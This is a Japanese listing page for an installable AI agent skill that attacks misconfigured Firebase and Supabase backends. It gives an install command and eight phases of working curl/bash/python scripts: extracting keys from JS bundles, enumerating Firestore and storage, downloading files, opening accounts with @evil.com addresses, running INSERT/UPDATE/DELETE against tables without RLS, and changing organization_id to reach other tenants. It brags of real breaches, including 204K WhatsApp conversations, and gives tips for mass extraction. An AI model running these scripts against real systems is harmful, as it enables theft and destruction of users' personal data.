mcpField
F
firebase-supabase-attack

firebase-supabase-attack

github.com/uphiagoセキュリティ1.3k40 回インストール8 週間前に更新
リポジトリ

firebase-supabase-attack について

Firebase と Supabase のバックエンドを評価するセキュリティテスト用スキルです。アプリ設定や露出した認証情報から利用が分かった場合に、データベース、ストレージ、認証のアクセス制御を調べます。認可済みの対象に限って使用します。

主な機能

  1. 01Firebase と Supabase の設定抽出
  2. 02Firestore と REST のデータアクセス確認
  3. 03ストレージアクセスと列挙のテスト
  4. 04登録と認証制御の評価
  5. 05テーブル単位の CRUD 権限テスト

活用シーン

  1. 01JavaScript バンドルで見つかった BaaS を評価
  2. 02データベースルールや RLS のアクセス制限を検証
  3. 03認可済みテストでストレージバケットと登録制御を確認

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/uphiago/recon-skills --skill firebase-supabase-attack

インストール後、Claude Code で/firebase-supabase-attackを入力して読み込まれたか確認します。

詳細

Firebase & Supabase 攻撃スキル

設定ミスのある Firebase(Firestore、Storage、Auth)および Supabase(REST API、Storage、Auth)のバックエンドを悪用します。これらの BaaS プラットフォームは、Row Level Security(RLS)が設定されておらず、JavaScript バンドルから API キーが漏えいした場合に、最新の Web アプリで大規模なデータ侵害を引き起こす最大の原因です。delivery-platform(WhatsApp の会話 204K 件、電話番号 173K 件)、visa-processing-platform(ユーザー 64K 人、レポート 46K 件)、fitness-chain(ユーザー 39K 人、Firebase プロジェクト 5 件、認証情報 21 件)、dental-booking(クリニック 9 件、リード 1,749 件)で確認済みです。

使用するタイミング

  • JavaScript バンドルの解析で Firebase の設定(apiKey、projectId)または Supabase の URL と anon key が見つかった場合。
  • 対象が BaaS バックエンドを使用する最新の SPA(React、Vue、Angular)の場合。
  • js-secrets-extraction で Firebase/Supabase の識別子が見つかった後。
  • source-leak-hunt で FIREBASE_* または SUPABASE_* 変数を含む .env が見つかった後。

前提条件

  • curl、python3、jq を備えた terminal。
  • Firebase のプロジェクト ID、または Supabase の URL と anon key(JS バンドル、ソースコードの漏えい、または偵察から取得)。
  • Firebase SA キーを悪用する場合:google-auth ライブラリを含む python3。

実行方法

# Firebase Firestore — list collections (if public)
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/PROJECT_ID/databases/(default)/documents/"

# Supabase — list users table (if RLS missing)
curl --max-time 30 --connect-timeout 10 -sk "https://PROJECT.supabase.co/rest/v1/users" \
  -H "apikey: ANON_KEY" -H "Authorization: Bearer ANON_KEY"

# Supabase — test signup (if open)
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://PROJECT.supabase.co/auth/v1/signup" \
  -H "apikey: ANON_KEY" -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":"Test123!"}'

クイックリファレンス

プラットフォーム確認対象悪用方法実例
Firebase Firestore公開データベースルールREST API に直接アクセスし、すべてのコレクションを一覧表示delivery-platform:会話 204K 件が公開
Firebase Storage公開バケットルールREST API 経由ですべてのファイルをダウンロードdelivery-platform:WhatsApp の音声ファイル 1,000 件以上が公開
Firebase Authサインアップが開放されていることアカウントを作成し、保護されたリソースにアクセスfitness-chain:Firebase Auth のサインアップが開放
Firebase SA Keyサービスアカウント JSONGCP IAM の権限昇格、すべての GCP リソースへのアクセスfitness-chain:SA キー 5 件から GCP への完全なアクセスを取得
Supabase RESTRLS の欠如任意のテーブルに対する SELECT/INSERT/UPDATE/DELETEvisa-processing-platform:ユーザー 64K 人、レポート 46K 件、DELETE を確認
Supabase Storage公開バケットすべてのファイルをダウンロードし、悪意のあるコンテンツをアップロードvisa-processing-platform:PDF レポートのバケットが公開
Supabase Authサインアップが開放されていることアカウントを作成し、アクセス制御を回避dental-booking:サインアップが開放され、自動確認が有効

手順

フェーズ 1 — JS バンドルから設定を抽出
TARGET="$1"
OUTDIR="$OUTDIR/firebase_supabase/$TARGET"
mkdir -p "$OUTDIR"

# Download homepage and common JS entry points
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/" -o "$OUTDIR/index.html"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/app.js" -o "$OUTDIR/app.js" 2>/dev/null
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/main.js" -o "$OUTDIR/main.js" 2>/dev/null

echo "[*] Extracting Firebase/Supabase configs..."

# Firebase config pattern
grep -Eo 'apiKey["\s:]+["][^"]+["]|projectId["\s:]+["][^"]+["]|firebase\.initializeApp' \
  "$OUTDIR"/*.html "$OUTDIR"/*.js 2>/dev/null | sort -u

# Supabase config pattern
grep -Eo 'supabase\.co[^"'\'' ]+|supabaseUrl["\s:]+["][^"]+["]|supabaseKey["\s:]+["][^"]+["]|anon[_-]?key["\s:=]+["][^"]{20,}["]' \
  "$OUTDIR"/*.html "$OUTDIR"/*.js 2>/dev/null | sort -u
フェーズ 2 — Firebase Firestore の悪用
PROJECT_ID="$1"  # e.g., delivery-bot-platform

echo "[*] Firestore enumeration for $PROJECT_ID"

# List root collections (if public)
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/" | \
  python3 -c "
import sys, json
try:
    data = json.load(sys.stdin)
    if 'documents' in data:
        print(f'ERROR: {len(data[\"documents\"])} root docs — not a collection list')
    else:
        for k in data.keys():
            print(f'Collection: {k}')
except Exception as e:
    print(f'Error: {e}')
    print(sys.stdin.read()[:500])
" 2>/dev/null

# If Firestore requires auth, try with Firebase ID token from Auth
# (see Phase 4 for token generation via signup)
フェーズ 3 — Firestore コレクションとドキュメントへのアクセス
PROJECT_ID="$1"
COLLECTION="$2"  # e.g., conversationsV3, users, stores

echo "[*] Accessing collection: $COLLECTION"

# List documents in collection
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/$COLLECTION" | \
  python3 -c "
import sys, json
data = json.load(sys.stdin)
if 'documents' in data:
    print(f'Documents found: {len(data[\"documents\"])}')
    for doc in data['documents'][:5]:
        name = doc['name'].split('/')[-1]
        fields = doc.get('fields', {})
        # Extract top-level fields
        keys = list(fields.keys())[:10]
        print(f'  {name}: {keys}')
    if len(data['documents']) > 5:
        print(f'  ... and {len(data[\"documents\"]) - 5} more')
elif 'error' in data:
    print(f'Error: {data[\"error\"][\"message\"]}')
" 2>/dev/null

# Read a specific document
DOC_ID="$3"  # from the listing above
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/$COLLECTION/$DOC_ID" | \
  python3 -m json.tool 2>/dev/null | head -50
フェーズ 4 — Firebase Auth のサインアップとトークン生成
API_KEY="$1"  # from JS bundle (web API key)
PROJECT_ID="$2"

echo "[*] Testing Firebase Auth signup on $PROJECT_ID"

# Sign up
SIGNUP_RESP=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=$API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"email":"test-'$(date +%s)'@evil.com","password":"TestPass123!","returnSecureToken":true}')

if echo "$SIGNUP_RESP" | grep -q "idToken"; then
  echo "[+] SIGNUP OPEN — account created!"
  ID_TOKEN=$(echo "$SIGNUP_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin)['idToken'])" 2>/dev/null)
  echo "  ID Token: ${ID_TOKEN:0:50}..."

  # Now use this token with Firestore
  echo "[*] Testing Firestore access with ID token..."
  curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/" \
    -H "Authorization: Bearer $ID_TOKEN" | python3 -c "
import sys, json
data = json.load(sys.stdin)
if 'documents' in data:
    print(f'[+] ACCESS GRANTED — {len(data[\"documents\"])} collections visible')
elif 'error' in data:
    print(f'[-] Access denied: {data[\"error\"][\"message\"]}')
else:
    print(f'[?] Unknown response: {list(data.keys())}')
" 2>/dev/null
else
  echo "[-] Signup blocked: $(echo "$SIGNUP_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('error',{}).get('message','unknown'))" 2>/dev/null)"
fi
フェーズ 5 — Firebase Storage の列挙
PROJECT_ID="$1"
BUCKET="${PROJECT_ID}.appspot.com"  # default bucket name

echo "[*] Storage enumeration for $BUCKET"

# List objects (if public)
curl --max-time 30 --connect-timeout 10 -sk "https://storage.googleapis.com/storage/v1/b/$BUCKET/o" | \
  python3 -c "
import sys, json
data = json.load(sys.stdin)
if 'items' in data:
    total = len(data['items'])
    total_size = sum(int(i.get('size', 0)) for i in data['items'])
    print(f'Objects: {total} ({total_size:,} bytes)')
    for item in data['items'][:5]:
        print(f'  {item[\"name\"]} ({item.get(\"size\",0):,} bytes)')
elif 'error' in data:
    print(f'Error: {data[\"error\"][\"message\"]}')
"

# Download a specific file
OBJECT_NAME="$2"  # from listing
curl --max-time 30 --connect-timeout 10 -sk "https://storage.googleapis.com/storage/v1/b/$BUCKET/o/$OBJECT_NAME?alt=media" \
  -o "/tmp/firebase_$OBJECT_NAME"
echo "[+] Downloaded to /tmp/firebase_$OBJECT_NAME"
フェーズ 6 — Supabase REST API の悪用
SUPABASE_URL="$1"  # e.g., https://gfgmuezavgzjmaxhflsu.supabase.co
ANON_KEY="$2"       # from JS bundle

echo "[*] Supabase REST API enumeration"

# Schema discovery — list tables by querying common names
TABLES=("users" "profiles" "organizations" "posts" "comments" "purchases"
        "orders" "products" "reports" "relatorios" "documents" "files"
        "messages" "conversations" "sessions" "audit_logs")

for table in "${TABLES[@]}"; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 \
    "$SUPABASE_URL/rest/v1/$table?limit=1" \
    -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" 2>/dev/null)

  if [[ "$code" == "200" ]]; then
    count=$(curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$table?limit=0" \
      -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" \
      -H "Prefer: count=exact" -I 2>/dev/null | grep -i "content-range" | grep -Eo '\d+(?=/\d+$)')
    echo "  [TABLE] $table — HTTP 200 (${count:-?} rows)"

    # Fetch first 3 rows
    curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$table?limit=3" \
      -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" | \
      python3 -m json.tool 2>/dev/null | head -20
    echo ""
  elif [[ "$code" == "401" || "$code" == "403" ]]; then
    echo "  [BLOCKED] $table — HTTP $code (RLS protected)"
  fi
done
フェーズ 7 — Supabase CRUD テスト(RLS の回避)
SUPABASE_URL="$1"
ANON_KEY="$2"
TABLE="$3"  # from table discovery above

echo "[*] CRUD testing on $TABLE"

# INSERT
echo -n "  INSERT: "
curl --max-time 30 --connect-timeout 10 -sk -X POST "$SUPABASE_URL/rest/v1/$TABLE" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" \
  -H "Content-Type: application/json" -H "Prefer: return=minimal" \
  -d '{"test":"rls_bypass_probe_'$(date +%s)'"}' \
  -o /dev/null -w "%{http_code}" 2>/dev/null
echo ""

# UPDATE (PATCH)
echo -n "  UPDATE: "
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "$SUPABASE_URL/rest/v1/$TABLE?test=eq.RLS_BYPASS" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" \
  -H "Content-Type: application/json" -H "Prefer: return=minimal" \
  -d '{"test":"rls_updated"}' \
  -o /dev/null -w "%{http_code}" 2>/dev/null
echo ""

# DELETE
echo -n "  DELETE: "
curl --max-time 30 --connect-timeout 10 -sk -X DELETE "$SUPABASE_URL/rest/v1/$TABLE?test=eq.RLS_BYPASS" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" \
  -H "Prefer: return=minimal" \
  -o /dev/null -w "%{http_code}" 2>/dev/null
echo ""
フェーズ 8 — Supabase Auth のサインアップ
SUPABASE_URL="$1"
ANON_KEY="$2"

echo "[*] Supabase Auth signup test"

SIGNUP_RESP=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "$SUPABASE_URL/auth/v1/signup" \
  -H "apikey: $ANON_KEY" -H "Content-Type: application/json" \
  -d '{"email":"test-'$(date +%s)'@evil.com","password":"TestPass123!"}')

if echo "$SIGNUP_RESP" | grep -q "access_token"; then
  echo "[+] SIGNUP OPEN!"
  ACCESS_TOKEN=$(echo "$SIGNUP_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])" 2>/dev/null)
  echo "  Access Token: ${ACCESS_TOKEN:0:50}..."

  # Test cross-org access (change organization_id in profile)
  curl --max-time 30 --connect-timeout 10 -sk -X PATCH "$SUPABASE_URL/rest/v1/profiles?id=eq.$(echo "$SIGNUP_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin)['user']['id'])" 2>/dev/null)" \
    -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ACCESS_TOKEN" \
    -H "Content-Type: application/json" -H "Prefer: return=representation" \
    -d '{"organization_id":1}' 2>/dev/null | python3 -m json.tool 2>/dev/null
  echo "  [*] If the above returned data for org_id=1, cross-organization access works"
else
  echo "[-] Signup blocked: $(echo "$SIGNUP_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('msg','unknown'))" 2>/dev/null)"
fi

注意点

  • Anon キーはシークレットではありません。 公開を前提に設計されています。脆弱性の原因はキーの漏えいそのものではなく、RLS が設定されていないことです。
  • Firestore のルールでは読み取りは許可されていても、書き込みは許可されていない場合があります。 SELECT、INSERT、UPDATE、DELETE を個別にテストしてください。
  • Supabase の RLS は一部のテーブルを保護していても、ほかのテーブルは保護していない場合があります。 すべてのテーブルを個別にテストしてください。
  • Firebase Auth のサインアップではメール認証が必要な場合があります。 アプリがメールを自動確認するかどうかを確認してください(多くのアプリが自動確認します)。
  • Firestore REST API にはレート制限があります。 大量に抽出する場合は、リクエストを 0.5~1 秒間隔で分散させてください。
  • JS バンドル内の API キーが切り詰められているか、伏せられている場合があります。 圧縮済みバンドルで確認できるキー文字列が、AIzaSy...USd4 のように切り詰められていることがあります。これは、バンドラーがキーを複数の文字列リテラルに分割する場合や、キーが別の場所で定義された変数を参照している場合に発生します。Firebase API のテストで「API key not valid」が返された場合、正規表現で検出されたキーが部分一致の可能性があります。前後 50 文字以上を含む周辺のコンテキストを抽出し、完全なキーを見つけてください。
  • Firebase プロジェクトがデプロイされていない場合があります。 Firebase プロジェクト ID(例:medxgo-2e637)が GCP プロジェクトレジストリに存在していても、デプロイ済みの Firebase リソース(Firestore、Hosting、Storage など)がないことがあります。/firebaseapp.com、/firebaseio.com、/firestore.googleapis.com を個別に確認してください。それぞれ異なる結果が返る場合があります。

検証

  • Firebase Firestore:認証なし(Authorization ヘッダーなし)でコレクション/ドキュメントを一覧表示できることが必須です。
  • Supabase REST:anon キーのみ(ユーザー JWT なし)でデータ行を含む HTTP 200 が返ることが必須です。
  • Supabase CRUD:少なくとも 1 つの書き込み操作(INSERT/UPDATE/DELETE)が成功することを確認する必要があります。
  • Firebase Auth のサインアップ:レスポンスに idToken または access_token が含まれていることが必須です。
  • Firebase Storage:認証なしでオブジェクトを一覧表示できることが必須です。
  • アクセス可能なデータ(コレクション/テーブル名、行数、公開されている機密フィールド)をすべて記録してください。

コメント